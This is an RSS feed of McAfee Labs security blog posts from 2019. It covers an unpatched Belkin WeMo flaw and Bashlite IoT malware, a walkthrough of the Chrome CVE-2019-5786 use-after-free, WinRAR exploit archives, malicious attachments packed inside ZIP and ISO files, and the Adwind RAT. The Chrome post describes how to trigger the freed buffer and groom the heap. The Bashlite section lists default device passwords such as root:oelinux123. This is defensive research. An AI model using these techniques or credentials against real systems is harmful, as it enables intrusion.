McAfee Labs – McAfee Blogs https://securingtomorrow.mcafee.com Securing Tomorrow. Today. Wed, 24 Apr 2019 23:37:46 +0000 en-US hourly 1 https://securingtomorrow.mcafee.com/wp-content/uploads/2018/11/cropped-favicon-32x32.png McAfee Labs – McAfee Blogs https://securingtomorrow.mcafee.com 32 32 IoT Zero-Days – Is Belkin WeMo Smart Plug the Next Malware Target? https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/iot-zero-days-is-belkin-wemo-smart-plug-the-next-malware-target/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/iot-zero-days-is-belkin-wemo-smart-plug-the-next-malware-target/#respond Thu, 18 Apr 2019 20:14:20 +0000 https://securingtomorrow.mcafee.com/?p=94932

Effective malware is typically developed with intention, targeting specific victims using either known or unknown vulnerabilities to achieve its primary functions. In this blog, we will explore a vulnerability submitted by McAfee Advanced Threat Research (ATR) and investigate a piece of malware that recently incorporated similar vulnerabilities. The takeaway from this blog is the increasing […]

The post IoT Zero-Days – Is Belkin WeMo Smart Plug the Next Malware Target? appeared first on McAfee Blogs.

]]>

Effective malware is typically developed with intention, targeting specific victims using either known or unknown vulnerabilities to achieve its primary functions. In this blog, we will explore a vulnerability submitted by McAfee Advanced Threat Research (ATR) and investigate a piece of malware that recently incorporated similar vulnerabilities. The takeaway from this blog is the increasing movement towards IoT-specific malware and the likelihood of this unique vulnerability being incorporated into future malware.

We are rapidly approaching the one-year mark for the date McAfee ATR disclosed to Belkin (a consumer electronics company) a critical, remote code execution vulnerability in the Belkin WeMo Insight smart plug.  The date was May 21st, 2018, and the disclosure included extensive details on the vulnerability (a buffer overflow), proof-of-concept, exploit code and even a video demo showing the impact, dropping into a root shell opened on the target device. We further blogged about how this device, once compromised, can be used to pivot to other devices inside the network, including smart TVs, surveillance cameras, and even fully patched non-IoT devices such as PCs. Initially, the vendor assured us they had a patch ready to go and would be rolling it out prior to our planned public disclosure. In January of 2019, Belkin patched a vulnerability in the Mr. Coffee Coffee Maker w/ WeMo, which McAfee ATR reported to Belkin on November 16th, 2018, and released publicly at Mobile World Congress in late February. We commend Belkin for an effective patch within the disclosure window, though we were somewhat surprised that this was the prioritized patch given the Mr. Coffee product with WeMo no longer appears to be produced or sold.

The Insight smart plug firmware update never materialized and, after attempts to try to communicate further, three months later, in accordance with our vulnerability disclosure policy, McAfee ATR disclosed the issue publicly on August 21st. Our hope is that vulnerability disclosures will encourage vendors to patch vulnerabilities, educate the security community on a vulnerable product to drive development of defenses and, ultimately, encourage developers to recognize the impact that insecure code development can have.

Fast forward nearly a year and, to the best of our knowledge this vulnerability, classified as CVE-2018-6692, is still a zero-day vulnerability.  As of April 10th, 2019, we have heard of plans for a patch towards the end of the month and are standing by to confirm. We intentionally did not release exploit code to the public, as we believe it tips the balance in favor of cyber criminals, but exploitation of this vulnerability, while challenging in some regards, is certainly straightforward for a determined attacker.

IoT-Specific Malware

Let’s focus now on why this vulnerability is enticing for malicious actors.  Recently, Trend Micro released a blog observing occasional in-the-wild detections for a malware known as Bashlite. This specific malware was recently updated to include IoT devices in its arsenal, specifically using a Metasploit module for a known vulnerability in the WeMo UPnP protocol. The vulnerability appears to be tied to a 2015 bug which was patched by Belkin and was used to fingerprint and exploit WeMo devices using the “SetSmartDevInfo” action and corresponding “SmartDevURL” argument.

We can say for certain that this Metasploit module is not targeting the same vulnerability submitted by McAfee ATR, which resides in the <EnergyPerUnitCostVersion> XML field, within the libUPnPHndlr.so library.

Analysis of Bashlite and IOT Device Targets

After briefly analyzing a few samples of the malware (file hashes from the aforementioned blog), the device appears to check for default credentials and known vulnerabilities in multiple IoT devices. For example, I came across a tweet after finding reference to a password in the binary of “oelinux123”.

This IoT device is an Alcatel Mobile Wifi, which has a number of known/default passwords. Notice the top username/password combination of “root:oelinux123.” When we analyze the actual malware, we can observe the steps used to enumerate and scan for vulnerable devices.

Here is a reference from the popular binary disassembly tool IDA Pro showing the password “OELINUX123” used to access a mobile WiFi device.

The next image is a large “jump table” used to scan through and identify a range of devices or targets using known passwords or vulnerabilities.

Next is some output from the “Echobot” scanner employed by the malware used to report possible vulnerabilities in target devices from the above jump table.

The final screenshot shows a list of some of the hardcoded credentials used by the malware.

The “huigu309” password appears to be associated with Zhone and Alcatel Lucent routers. Both routers have had several known vulnerabilities, backdoors and hardcoded passwords built into the firmware.

There is no need to continue the analysis further as the point of this is not to analyze the Bashlite malware in depth, but I did think it was worth expanding on some of the capabilities briefly, to show this malware is programmed to target multiple IoT devices.

Now to the point! The simple fact that generic WeMo Metasploit modules were added to this indicates that Belkin WeMo makes an interesting enough target that an unpatched vulnerability would be compelling to add to the malware’s capabilities. Hence, we believe it is possible, perhaps even likely, that malware authors already have or are currently working on incorporating the unpatched WeMo Insight vulnerability into IoT malware. We will be closely following threats related to this zero-day and will update or add to this blog if malware embedding this vulnerability surfaces. If the vendor does produce an effective patch, it will be a step in the right direction to reduce the overall threat and likelihood of weaponizing the vulnerability in malware.

How to Protect Your Devices

As this vulnerability requires network access to exploit the device, we highly recommend users of IoT devices such as the WeMo Insight implement strong WIFI passwords, and further isolate IoT devices from critical devices using VLANs or network segmentation. McAfee Secure Home Platform users can enable whitelisting or blacklisting features for protection from malicious botnets attempting to exploit this vulnerability.

Call to Action for Vendors, Consumers and Enterprise

It should be plain to see there is some low-hanging fruit in the industry of securing IoT devices. While some of the obvious simple issues such as hardcoded credentials are unexplainable, we understand that true software vulnerabilities cannot always be avoided. However, we issue a call-to action for IoT vendors; these issues must be fixed, and quickly too. Threat actors are constantly tracking flaws which they can weaponize, and we see a prime example of this in the Bashlite malware, updated for IoT devices including Belkin WeMo. By listening to consumer’s asks for security, partnering with researchers closely to identify flaws, and having a fast and flexible response model, vendors have a unique opportunity to close the holes in the products the world is increasingly relying on. Consumers can take away the importance of basic security hygiene; applying security updates when available, practicing complex password policy for home networks and devices, and isolating critical devices or networks from IoT.  Enterprise readers should be aware that just because this is an IoT consumer device typically, does not mean corporate assets cannot be compromised.  Once a home network has been infiltrated, all devices on that same network should be considered at risk, including corporate laptops.  This is a common method for cyber criminals to cross the boundary between home and enterprise.

The post IoT Zero-Days – Is Belkin WeMo Smart Plug the Next Malware Target? appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/iot-zero-days-is-belkin-wemo-smart-plug-the-next-malware-target/feed/ 0
Analysis of a Chrome Zero Day: CVE-2019-5786 https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analysis-of-a-chrome-zero-day-cve-2019-5786/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analysis-of-a-chrome-zero-day-cve-2019-5786/#respond Wed, 20 Mar 2019 22:36:10 +0000 https://securingtomorrow.mcafee.com/?p=94698

1. Introduction On March 1st, Google published an advisory [1] for a use-after-free in the Chrome implementation of the FileReader API (CVE 2019-5786). Clement Lecigne from Google Threat Analysis Group reported the bug as being exploited in the wild and targeting Windows 7, 32-bit platforms. The exploit leads to code execution in the Renderer process, […]

The post Analysis of a Chrome Zero Day: CVE-2019-5786 appeared first on McAfee Blogs.

]]>

1. Introduction

On March 1st, Google published an advisory [1] for a use-after-free in the Chrome implementation of the FileReader API (CVE 2019-5786). Clement Lecigne from Google Threat Analysis Group reported the bug as being exploited in the wild and targeting Windows 7, 32-bit platforms. The exploit leads to code execution in the Renderer process, and a second exploit was used to fully compromise the host system [2]. This blog is a technical write-up detailing the first bug and how to find more information about it. At the time of writing, the bug report [2b] is still sealed. Default installation of Chrome will install updates automatically, and users running the latest version of Chrome are already protected against that bug. To make sure you’re running the patched version, visit chrome://version, the version number displayed on the page should be 72.0.3626.121 or greater.

2. Information gathering

2.1 The bug fix

Most of the Chrome codebase is based on the Chromium open source project. The bug we are looking at is contained inside the open source code, so we can directly look at what was fixed in the new release pertaining to the FileReader API. Conveniently, Google shares the changelog for its new release [3].

We can see that there’s only one commit that modifies files related to the FileReader API, with the following message:

The message hints that having multiple references to the same underlying ArrayBuffer is a bad thing. It is not clear what it means right now, but the following paragraphs will work on figuring out what wisdom lies hidden in this message.

For starters, we can look at the commit diff [3b] and see what changed. For ease of reading, here is a comparison of the function before and after the patch.

The old one:

The new one:

The two versions can be found on GitHub at [4a] and [4b]. This change modifies the behavior of the ArrayBufferResult function that is responsible for returning data when a user wants to access the FileReader.result member.
The behavior of the function is as follows: if the result is already ‘cached,’ return that. If not, there are two cases; if the data has finished loading, create a DOMArrayBuffer, cache the result, and returns it. If not, it creates a temporary DOMArrayBuffer and returns that instead. The difference between the unpatched and patched version is how that temporary DOMArrayBuffer is handled, in case of a partial load. In one case, we can see a call to:

 

This prompted us to go down a few more rabbit holes. Let us compare what is going on in both the unpatched and patched situation.

We can start with the patched version, as it is the simplest to understand. We can see a call to ArrayBuffer::Create that takes two arguments, a pointer to the data and its length (the function is defined in the source tree at /third_party/blink/renderer/platform/wtf/typed_arrays/array_buffer.h)

 

This basically creates a new ArrayBuffer, wraps it into a scoped_refptr<ArrayBuffer> and then copies the data into it. The scoped_refptr is a way for Chromium to handle reference counting [5]. For readers unfamiliar with the notion, the idea is to keep track of how many times an object is being referenced. When creating a new instance of a scoped_refptr, the reference count for the underlying object is incremented; when the object exits its scope, the reference count is decremented. When that reference count reaches 0, the object is deleted (and for the curious, Chrome will kill a process if the reference count overflows….). As we’re looking for a potential use-after-free, knowing that the buffer is ref-counted closes some avenues of exploitation.

In the unpatched version, instead of calling ArrayBuffer::Create, the code uses the return value of ArrayBufferBuilder::ToArrayBuffer() (from third_party/blink/renderer/platform/wtf/typed_arrays/array_buffer_builder.cc):

 

Here is yet another rabbit hole to dive into (but we will keep it high level).  Depending on the value of bytes_used_), the function will either return its buffer, or a Sliced version of it (i.e. a new ArrayBuffer of a smaller size, that contains a copy of the data)

 

To sum up what we have so far, in all the code paths we have looked at, they all return a copy of the data instead of the actual buffer, unless we run the unpatched code, and the buffer we try to access is `fully used` (per the comment in ArrayBufferBuilder::ToArrayBuffer()).
Because of the implementation of the FileReaderLoader object, the buffer_->ByteLength() is the pre-allocated size of the buffer, which correspond to the size of the data we want to load (this will be relevant later on).
If we now remember the commit message and what the bad scenario was, it looks like the only situation to exploit the bug is to access multiple times the ArrayBufferBuilder::ToArrayBuffer(), before the finished_loading is set to true, but after the data is fully loaded.

To wrap up this part of the code review, let us look at the behavior of the DOMArrayBuffer::Create function that is being called in both patched/unpatched cases, the case interesting to us is when we have the following call DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());

From third_party/blink/renderer/core/typed_arrays/dom_array_buffer.h:

 

Something interesting to look at is the use of std::move, which has the semantic of transferring ownership.
For instance, in the following snippet:

then `b` takes ownership of what belonged to `a` (`b` now contains “hello”) and `a` is now in a somewhat undefined state (C++11 specs explain that in more precise terms)).

In our current situation, what is going on here is somewhat confusing [6a] [6b]. The object returned by ArrayBufferBuilder::ToArrayBuffer() is already a scoped_refptr<ArrayBuffer>. I believe the meaning of all this, is that when calling ToArrayBuffer(), the refcount on the ArrayBuffer is increased by one, and the std::move takes ownership of that instance of the refcounted object (as opposed to the one owned by the ArrayBufferBuilder). Calling ToArrayBuffer() 10 times will increase the refcount by 10, but all the return values will be valid (as opposed to the toy example with the strings `a` and `b` mentioned above where operating on `a` would result in unexpected behavior).
This closes an obvious case of use-after-free where the buffer_ object from the ArrayBufferBuilder would get corrupted if we would call ToArrayBuffer() multiple times during the sweet spot described above.

2.2 FileReader API

Another angle of approach for figuring out how to exploit this bug is to look at the API that is available to us from JavaScript and see if we can come up with a way to reach the sweet spot we were looking at.

We can get all the information we want from Mozilla web docs [7]. Our options are fairly terse; we can call readAsXXX functions on either Blob or File, we can abort the read, and finally there are a couple of events to which we can register callbacks (onloadstart, onprogress, onloadend, …).

The onprogress events sounds like the most interesting one, as it is being called while data is loading, but before the loading is finished. If we look at the FileReader.cc source file, we can see that the logic behind the invocation of this event is to fire every 50ms (or so) when data is received. Let us have a look at how this behaves in a real system…

3. Testing in a web-browser

3.1 Getting started

The first thing we want to do is download a vulnerable version of the code. There are some pretty useful resources out there [8] where one can download older builds rather than having to build them yourself.

Something interesting to note is that there is also a separate zip file that has `syms` in its name. You can also download to get debug symbols for the build (in the form of .pdb files). Debuggers and disassemblers can import those symbols which will make your life way easier as every function will be renamed by its actual name in the source code.

3.2 Attaching a debugger

Chromium is a complex software and multiple processes communicate together which makes debugging harder. The most efficient way to debug it is to start Chromium normally and then attach the debugger to the process you want to exploit. The code we are debugging is running in the renderer process, and the functions we were looking at are exposed by chrome_child.dll (those details were found by trial and error, attaching to any Chrome process, and looking for function names of interest).

 

If you want to import symbols in x64dbg, a possible solution is to go in the Symbol pane, right click on the .dll/.exe you want to import the symbols for and select Download symbols. It may fail if the symbol server setting is not configured properly, but it will still create the directory structure in x64dbg’s `symbols` directory, where you can put the .pdb files you’ve previously downloaded.

3.3 Looking for the exploitable code path

Not that we have downloaded an unpatched version of Chromium, and we know how to attach a debugger, let us write some JavaScript to see if we can hit the code path we care about.

 

To sum up what is going on here, we create a Blob that we pass to the FileReader. We register a callback to the progress event and, when the event is invoked, we try to access multiple times the result from the reader. We have seen previously that the data needs to be fully loaded (that is why we check the size of the buffer) and if we get multiple DOMArrayBuffer with the same backing ArrayBuffer, they should appear to be to separate objects to JavaScript (hence the equality test). Finally, to double check we have indeed two different objects backed by the same buffer, we create views to modify the underlying data and we verify that modify one modifies the other as well.

There is an unfortunate issue that we had not foreseen: the progress event is not called frequently, so we have to load a really large array in order to force the process to take some time and trigger the event multiple times. There might be better ways of doing so (maybe the Google bug report will reveal one!) but all the attempts to create a slow loading object were a failure (using a Proxy, extending the Blob class…). The loading is tied to a Mojo Pipe, so exposing MojoJS could be a way of having more control as well but it seems unrealistic in an attacker scenario as this is the entry point of the attack. See [9] for an example for that approach.

3.4 Causing a crash

So, now that we have figured out how to get into the code path that is vulnerable, how do we exploit it? This was definitely the hardest question to answer, and this paragraph is meant to share the process to find an answer to that question.

We have seen that the underlying ArrayBuffer is refcounted, so it is unlikely we’ll be able to magically free it by just getting garbage collected from some of the DOMArrayBuffer we’ve obtained. Overflowing the refcount sounds like a fun idea, but if we try by hand to modify the refcount value to be near its maximum value (via x64dbg) and see what happens… well, the process crashes. Finally, we cannot do much on those ArrayBuffers; we can change their content but not their size, nor can we manually free them…
Not being familiar enough with the codebase, the best approach then is to pour through various bug reports that mention use-after-free, ArrayBuffer, etc., and see what people did or talked about. There must be some assumption somewhere that a DOMArrayBuffer owns its underlying memory, and that is an assumption we know we are breaking.
After some searching, we started to find some interesting comments like this one [10a] and this one [10b]. Those two links talk about various situation where DOMArrayBuffer gets externalized, transferred and neutered. We are not familiar with those terms, but from the context it sounds like when this happens, the ownership of the memory is transferred to somebody else. That sounds pretty perfect for us as we want the underlying buffer to be freed (as we are hunting for a use-after-free).
The use-after-free in WebAudio shows us how to get our ArrayBuffer “transferred” so let’s try that!

 

And as seen in the debugger:

The memory being dereferenced is in ECX (we also have EAX == 0 but that’s because we’re looking at the first item in the view). The address looks valid, but it isn’t. ECX contains the address where the raw data of our buffer was stored (the AAAAA…) but because it got freed, the system unmapped the pages that held it, causing the access violation (we’re trying to access an unmapped memory address). We reached the use-after-free we were looking for!

4. Exploit considerations and next steps

4.1 Exploit

It is not the point of this document to illustrate how to push beyond the use-after-free to get full code execution (in fact Exodus have released a blog and a working exploit roughly coinciding with the timing of this publication). However, there are some interesting comments to be made.
Due to the way we are triggering the use-after-free, we are ending up with a very large buffer unallocated. The usual way to exploit a use-after-free is to get a new object allocated on top of the freed region to create some sort of confusion. Here, we are freeing the raw memory that is used to back the data of our ArrayBuffer. That is great because we can read/write over a large region. Yet, a problem in this approach is that because the memory region is really large, there is no one object that would just fit in. If we had a small buffer, we could create lots of objects that have that specific size and hope one would be allocated there. Here it is harder because we need to wait that until that memory is reclaimed by the heap for unrelated objects. On Windows 10 64-bit, it is hard because of how random allocations are, and the entropy available for random addresses. On Windows 7 32-bit, it is much easier as the address space is much smaller, and the heap allocation is more deterministic. Allocating a 10k object might be enough to have some metadata land within the address space we can control.
The second interesting aspect is that because we are going to dereference a region that has been unmapped, if the 10k allocation mentioned above fails to allocate at least one object in that area we control, then we are out of luck; we will get an access violation and the process will die. There are ways to make this step more reliable, such as the iframe method described here [11]
An example on how to move on if one can corrupt the metadata of a JavaScript object can be found here [12].

4.2 Next step

Once an attacker has gained code execution inside the renderer process they are still limited by the sandbox. In the exploit found in the wild, the attacker used a second 0-day that targeted the Windows Kernel to escape the sandbox. A write up describing that exploit was recently released by the 360CoreSec here [13].

5. Conclusion

By looking at the commit that fixed the bug and hunting down hints and similar fixes we were able to recover the likely path towards exploitation. Once again, we can see that modern mitigations introduced in the later version of Windows makes life way harder on attackers and we should celebrate those wins from the defensive side. Also, Google is extremely efficient and aggressive in its patching strategy, and most of its user base will have already seamlessly updated to the latest version of Chrome.

 

Links

[1] https://chromereleases.googleblog.com/2019/03/stable-channel-update-for-desktop.html
[2] https://security.googleblog.com/2019/03/disclosing-vulnerabilities-to-protect.html
[2b] https://bugs.chromium.org/p/chromium/issues/detail?id=936448
[3] https://chromium.googlesource.com/chromium/src/+log/72.0.3626.119..72.0.3626.121?pretty=fuller
[3b] https://github.com/chromium/chromium/commit/ba9748e78ec7e9c0d594e7edf7b2c07ea2a90449
[4a] https://github.com/chromium/chromium/blob/17cc212565230c962c1f5d036bab27fe800909f9/third_party/blink/renderer/core/fileapi/file_reader_loader.cc
[4b] https://github.com/chromium/chromium/blob/75ab588a6055a19d23564ef27532349797ad454d/third_party/blink/renderer/core/fileapi/file_reader_loader.cc
[5] https://www.chromium.org/developers/smart-pointer-guidelines
[6a] https://chromium.googlesource.com/chromium/src/+/lkgr/styleguide/c++/c++.md#object-ownership-and-calling-conventions
[6b] https://www.chromium.org/rvalue-references
[7] https://developer.mozilla.org/en-US/docs/Web/API/FileReader
[8] https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Win_x64/612439/
[9] https://www.exploit-db.com/exploits/46475
[10a] https://bugs.chromium.org/p/v8/issues/detail?id=2802
[10b] https://bugs.chromium.org/p/chromium/issues/detail?id=761801
[11] https://blog.exodusintel.com/2019/01/22/exploiting-the-magellan-bug-on-64-bit-chrome-desktop/
[12] https://halbecaf.com/2017/05/24/exploiting-a-v8-oob-write/
[13] http://blogs.360.cn/post/RootCause_CVE-2019-0808_EN.html

The post Analysis of a Chrome Zero Day: CVE-2019-5786 appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analysis-of-a-chrome-zero-day-cve-2019-5786/feed/ 0
Attackers Exploiting WinRAR UNACEV2.DLL Vulnerability (CVE-2018-20250) https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/attackers-exploiting-winrar-unacev2-dll-vulnerability-cve-2018-20250/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/attackers-exploiting-winrar-unacev2-dll-vulnerability-cve-2018-20250/#comments Thu, 14 Mar 2019 19:00:50 +0000 https://securingtomorrow.mcafee.com/?p=94446

Earlier this month Check Point Research reported discovery of a 19 year old code execution vulnerability in the wildly popular WinRAR compression tool. Rarlab reports that that are over 500 million users of this program. While a patched version, 5.70, was released on February 26, attackers are releasing exploits in an effort to reach vulnerable […]

The post Attackers Exploiting WinRAR UNACEV2.DLL Vulnerability (CVE-2018-20250) appeared first on McAfee Blogs.

]]>

Earlier this month Check Point Research reported discovery of a 19 year old code execution vulnerability in the wildly popular WinRAR compression tool. Rarlab reports that that are over 500 million users of this program. While a patched version, 5.70, was released on February 26, attackers are releasing exploits in an effort to reach vulnerable systems before they can be patched.

One recent example piggybacks on a bootlegged copy of Ariana Grande’s hit album “Thank U, Next” with a file name of “Ariana_Grande-thank_u,_next(2019)_[320].rar”

When a vulnerable version of WinRAR is used to extract the contents of this archive, a malicious payload is created in the Startup folder behind the scenes. User Account Control (UAC) does not apply, so no alert is displayed to the user. The next time the system restarts, the malware is run.

Figure 1 – Malformed Archive detected by McAfee as CVE2018-20250!4A63011F5B88
SHA256: e6e5530ed748283d4f6ef3485bfbf84ae573289ad28db0815f711dc45f448bec

Figure 2 – Extracted non-malicious MP3 files

Figure 3 – Extracted Malware payload detected by McAfee as Generic Trojan.i
SHA256: A1C06018B4E331F95A0E33B47F0FAA5CB6A084D15FEC30772923269669F4BC91

In the first week since the vulnerability was disclosed, McAfee has identified over 100 unique exploits and counting, with most of the initial targets residing in the United States at the time of writing.

 

McAfee advises users to keep their anti-malware signatures up to date at all times. McAfee products detect known and unknown malformed ACE files exploiting the vulnerability as CVE2018-20250![Partial hash] starting with the following content

  • V2 DATs version 9183 released March 2, 2019
  • V3 DATs version 3634 released March 2, 2019

Additional GTI coverage exists for email-based attacks, in tandem with the Suspicious Attachment feature. When this feature is enabled, Artemis![Partial hash] detections will occur on known exploits.

Update: An earlier version of this article used the phrase User Access Control (UAC) which has now been changed to User Account Control (UAC) and the term “bypass” which has now been changed to “does not apply.”

The post Attackers Exploiting WinRAR UNACEV2.DLL Vulnerability (CVE-2018-20250) appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/attackers-exploiting-winrar-unacev2-dll-vulnerability-cve-2018-20250/feed/ 1
McAfee Protects Against Suspicious Email Attachments https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-protects-against-suspicious-email-attachments/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-protects-against-suspicious-email-attachments/#respond Mon, 04 Mar 2019 02:00:26 +0000 https://securingtomorrow.mcafee.com/?p=94351

Email remains a top vector for attackers.  Over the years, defenses have evolved, and policy-based protections have become standard for email clients such as Microsoft Outlook and Microsoft Mail.  Such policies are highly effective, but only if they are maintained as attacker’s keep changing their tactics to evade defenses.  For this reason, McAfee endpoint products […]

The post McAfee Protects Against Suspicious Email Attachments appeared first on McAfee Blogs.

]]>

Email remains a top vector for attackers.  Over the years, defenses have evolved, and policy-based protections have become standard for email clients such as Microsoft Outlook and Microsoft Mail.  Such policies are highly effective, but only if they are maintained as attacker’s keep changing their tactics to evade defenses.  For this reason, McAfee endpoint products use a combination of product features and content for increased agility.  In McAfee Endpoint Security (ENS) 10.5+, such protection is enabled via the ‘Detect suspicious email attachments’ option and maintained through DAT content.  This capability goes beyond the level of protection offered by email clients by not only blocking applications and scripts, but also a variety of threat types in their native form, as well as those compressed and contained within archives and other formats.

Figure 1 – ENS 10.6.1 Configuration Screen

An example of this capability in action can be seen against a recent spam run.

In this campaign, a malicious email message contained the attachment BANK DETAILS.ZIP.  Inside this archive was the file BANK DETAILS.ISO.  Malicious ISO spam has been increasing over the past six months, and while it is common for ISO files to be blocked by email clients, this is not the case where the ISO is inside of a ZIP.  Inside the BANK DETAILS.ISO file resides BANK DETAILS.EXE.  Email clients will typically block executable files attached to messages, but not if they are inside a container.

When the email client attempts to write the attachment to disk, ENS scans inside the ZIP and subsequently the contained ISO and EXE files (ZIP -> ISO -> EXE).

Figure 2 – ENS Toaster Popup

In this case, 2-year-old DAT content proactively stopped the threat.

If the system had not been protected, an unsuspecting user might open the ZIP to reveal the ISO.

Figure 3 – Inside ZIP file showing ISO file

The ISO can then be accessed via Windows Explorer, which appears as a DVD Drive containing the executable, password-stealing, payload.

Figure 4 – EXE file inside Bank Details.ISO

Since the advent of policy-based email attachment blocking, attackers have continued to seek ways to evade that protection. ISO abuse may be the latest chapter in the story, but others are sure to follow.

Tens of thousands of new and unique malicious attachments are blocked each month via the ‘Suspicious Attachment’ detection feature.

The post McAfee Protects Against Suspicious Email Attachments appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-protects-against-suspicious-email-attachments/feed/ 0
JAVA-VBS Joint Exercise Delivers RAT https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/java-vbs-joint-exercise-delivers-rat/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/java-vbs-joint-exercise-delivers-rat/#respond Fri, 01 Mar 2019 16:00:15 +0000 https://securingtomorrow.mcafee.com/?p=94312

The Adwind remote administration tool (RAT) is a Java-based backdoor Trojan that targets various platforms supporting Java files. For an infection to occur, the user must typically execute the malware by double-clicking on the .jar file that usually arrives as an email attachment. Generally, infection begins if the user has the Java Runtime Environment installed. […]

The post JAVA-VBS Joint Exercise Delivers RAT appeared first on McAfee Blogs.

]]>

The Adwind remote administration tool (RAT) is a Java-based backdoor Trojan that targets various platforms supporting Java files. For an infection to occur, the user must typically execute the malware by double-clicking on the .jar file that usually arrives as an email attachment. Generally, infection begins if the user has the Java Runtime Environment installed. Once the malicious .jar file runs successfully on the target system, the malware silently installs itself and connects to a remote server through a preconfigured port. This allows it to receive commands from the remote attacker and perform further malicious activities. Recently, McAfee labs has seen a surge in a variant which comes as a JAR attachment via a spam email and uses the famous Houdini VBS worm to infect user.

Infection chain:

The malware’s spreading mechanism is the same as in previous versions. It arrives in a spam email with a .jar attachment. The contents of the email are carefully crafted to lure victims using social engineering techniques. We can summarise the whole infection chain as shown in the below snippet:

 

The spam email may look like this:

The parent JAR file:

To keep things simple, we just called the attached .jar file as a parent jar file and named it Sample.jar. Generally, Adwind comes in an obfuscated form to hide its malicious intent. Its payload and configuration file (which serves as an installation file) are encrypted with the DES, RC4, or RC6 cipher, depending on the variant. The Adwind backdoor will decrypt itself on the fly during execution. In this variant we can see the contents of Manifest.MF. It has main class bogjbycqdq.Mawbkhvaype.

Mawbkhvaype.class

The main task of this class is to check for a resource file available in the Jar bundle. Here, resource mzesvhbami is a vbs file. Mawbkhvaye.class will check for mzesvhbami in the resource section and later drop bymqzbfsrg.vbs in the user’s Home directory before executing it with the help of wscript.

Bymqzbfsrg.vbs

It has a huge chunk of obfuscated base64 encoded data present. The below snippet shows the partial part of Bymqzbfsrg.vbs script.

Once deobfuscated and decoded, the base64 encoded data converts to ntfsmgr.jar and is dropped in %appdata%/Roaming. The below snippet shows the conversion of base64 encoded data into Jar file:

Decoded to JAR file (ntfsmgr.jar)

Ntfsmgr.jar

Here, important files present in ntfsmgr.jar are drop.box, mega.download and sky.drive which will be used later for creating the configuration file for the malware.

Final Payload:

Ntfsmgr.jar has operational.Jrat as the main class. The purpose of operational.Jrat is to drop another .jar file into the %TEMP% folder with random file name [underscore] [dot] [random numbers] [dot] class, e.g. _0.1234567897654265678.class, which will be the actual payload and later will perform malicious activities on the user’s system. The below snippet shows the routine present in operational.Jrat for creation of the final payload in %TEMP% location.

The contents of Manifest.MF looks somewhat similar to ntfsmgr.jar. All the other files in the final Java archive will be decrypted on the fly and will infect the system. After Adwind successfully infects a system, we have seen it log keystrokes, modify and delete files, download and execute further malware, take screenshots, access the system’s camera, take control of the mouse and keyboard, update itself, and more. We are not going to dig into this threat in this direction now but you can read more about Adwind here and here. In this blog we will now discuss another part of the story, Bymqzbfsrg.vbs

Working of Bymqzbfsrg.vbs

After successful execution, Bymqzbfsrg.vbs drops ntfsmgr.jar and sKXoevtgAv.vbs in %appdata%/Roaming.

Bymqzbfsrg.vbs dynamically executes a method naira inside the script by using ExecuteGlobal, as seen in the below snippet.:

Dynamic execution of the script looks like this:

The below snippet shows the script for dropping sKXoevtgAv.vbs in %appdata%Roaming.

Here we see the script for dropping ntfsmgr in %appdata%Roaming.

At the time of execution, sKXoevtgAv.vbs decodes itself to Houdini vbs worm which is the final payload. The first few lines of the script are as follows:

The attacker may perform many malicious activities on the victim’s machine, including::

  • Downloading and executing files on the victim’s machine
  • Running command instructions
  • Updating or uninstalling a copy of itself
  • Downloading and uploading files
  • Deleting a file or folder
  • Terminating certain process

Enumerating files and folders on the victim’s machine

Additional Points:

  1. For persistence it creates a run entry.

When the ntfsmgtr.jar runs, it adds itself into the start-up so that it will be run whenever the system starts.

  1. It checks for installed anti-malware products on the system.

  1. If available, it copies the installed Java Runtime files to a temporary directory within the victim’s home directory, otherwise it downloads from the web and copies in the same directory.

Conclusion:

In past, we have seen threat actors using two similar functioning malware families in a single infection. Usually, threat actors chose this path for higher probability of successful infection.

The hashes used in the analysis:

Sample.jar: 07cb6297b47c007aab43311fcfa9976158b4149961911f42d96783afc517226a

Ntfsmgr.jar: ee868807a4261a418e02b0fb1de7ee7a8900acfb66855ce46628eb5ab9b1d029

McAfee advises users to keep their antimalware signatures up to date at all times. McAfee products detect the malicious jar files as Adwind-FDVH.jar! [Partial hash] and Adwind-FDVJ.jar! [Partial Hash], with DAT Versions 9137 and later.

The post JAVA-VBS Joint Exercise Delivers RAT appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/java-vbs-joint-exercise-delivers-rat/feed/ 0
Your Smart Coffee Maker is Brewing Up Trouble https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/your-smart-coffee-maker-is-brewing-up-trouble/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/your-smart-coffee-maker-is-brewing-up-trouble/#respond Mon, 25 Feb 2019 10:10:44 +0000 https://securingtomorrow.mcafee.com/?p=94261

IOT devices are notoriously insecure and this claim can be backed up with a laundry list of examples. With more devices “needing” to connect to the internet, the possibility of your WiFi enabled toaster getting hacked and tweeting out your credit card number is, amazingly, no longer a joke. With that in mind, I began […]

The post Your Smart Coffee Maker is Brewing Up Trouble appeared first on McAfee Blogs.

]]>

IOT devices are notoriously insecure and this claim can be backed up with a laundry list of examples. With more devices “needing” to connect to the internet, the possibility of your WiFi enabled toaster getting hacked and tweeting out your credit card number is, amazingly, no longer a joke.

